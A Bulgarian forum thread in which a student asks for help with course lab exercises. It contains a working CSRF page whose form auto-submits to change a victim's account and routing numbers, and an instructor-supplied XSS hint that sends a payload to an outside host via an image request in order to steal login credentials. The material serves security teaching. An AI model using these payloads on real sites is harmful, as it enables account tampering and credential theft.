Форум

Data.BG Форуми: Помощ с HTML въпроси - Data.BG Форуми

Прехвърляне към съдържание

Страница 1 от 1
  • Вие не можете да започнете нова тема
  • Вие не може да отговаряте на тази тема

Помощ с HTML въпроси

#1
Потребителят е неактивен   narrotor 

  • Група: Потребители
  • Мнения: 16
  • Регистриран: 14-March 08
  • Репутация: 0
Здравейте, имам 3 задачи с които имам малко нужда от помощ. За сега съм успял да направя само първата, ще пиша пак като направя и другите.

Задача 1: XSRF - атакуваме тест система където като потребител се логне, и отвори моя HTML, акаунт номера ще се смени към номер който е даден във задачата.

HTML даден от инструктура за да можем да започнем:
<body onload='document.forms[0].submit();'>
	<form action="" onsubmit="" method="">
	
	</form>
</body>


Моя HTML
<html>
<body onload='document.forms[0].submit();'>
	<form action='../var/www/account.php' onsubmit="" method='POST'>
		<input type='hidden' name='account' value='123456789'/>
		<input type='hidden' name='routing' value='987654321'/>
		<input type='hidden' name='action' value='save'/>
		<input tyep='hidden' name='response' value='12345'/>
	</form>
</body>
</html>


Въпросът ми: Аз във моят HTML не използвам 'onsubmit' обаче си върви както трябва HTML-а. Как мога да имплементирам 'onsubmit'? Какво трябва да променя за да го използвам?

Задача 2: XSS атака на страница. Потребител отваря страницата, логва се и HTML или JavaScript записва името и паролата и го изпраща на емайл.

От инструктура, това би било полезно за решаване на задачата:
javascript:void((new_Image()).src='http://hackmail.
org/sendmail.php?' + '&username=haxor' + &payload=xyz' + '&random=' + Math.random()); 


<body onload='document.forms[0].submit();'>
	<form action='' onsubmit="" method='POST'>

	</form>
</body>

Нямам никаква идея как да го направя това.

Мнението беше редактирано от narrotor: 22.04.16 - 06:51

0

#2
Потребителят е неактивен   unfragable 

  • Bo0om Headshot!!!
  • Група: Потребители
  • Мнения: 13337
  • Регистриран: 02-October 05
  • Репутация: 2298
  • Пол:Мъж
  • Град:Пловдив
За изпращане на мейл ще ти трябва PHP. С JavaScript не можеш да пращаш мейли.
0

#3
Потребителят е неактивен   Stefany1993 

  • Група: Потребители
  • Мнения: 525
  • Регистриран: 23-March 10
  • Репутация: 38
  • Пол:Жена
  • Град:Ловеч
  • Интереси:Програмиране, книги...
С JavaScript можеш да събмитнеш формата, обаче за да пратиш имейла ще ти трябва PHP или друг сървърен език. Потърси mail() функцията в нета.
0

Споделете тази тема чрез:


Страница 1 от 1
  • Вие не можете да започнете нова тема
  • Вие не може да отговаряте на тази тема

1 потребители четат тази тема
0 регистрирани потребители, 1 гости и 0 анонимни потребители


Data.BG e форум за дискусии. Data.BG не носи отговорност за съдържанието и достоверността на публикуваните в дискусиите материали.

Никаква част от съдържанието на тази страница не може да бъде репродуцирана, записвана или предавана под каквато и да е форма или по какъвто и да е повод без писменото съгласие на Data.BG.

Close  Member Login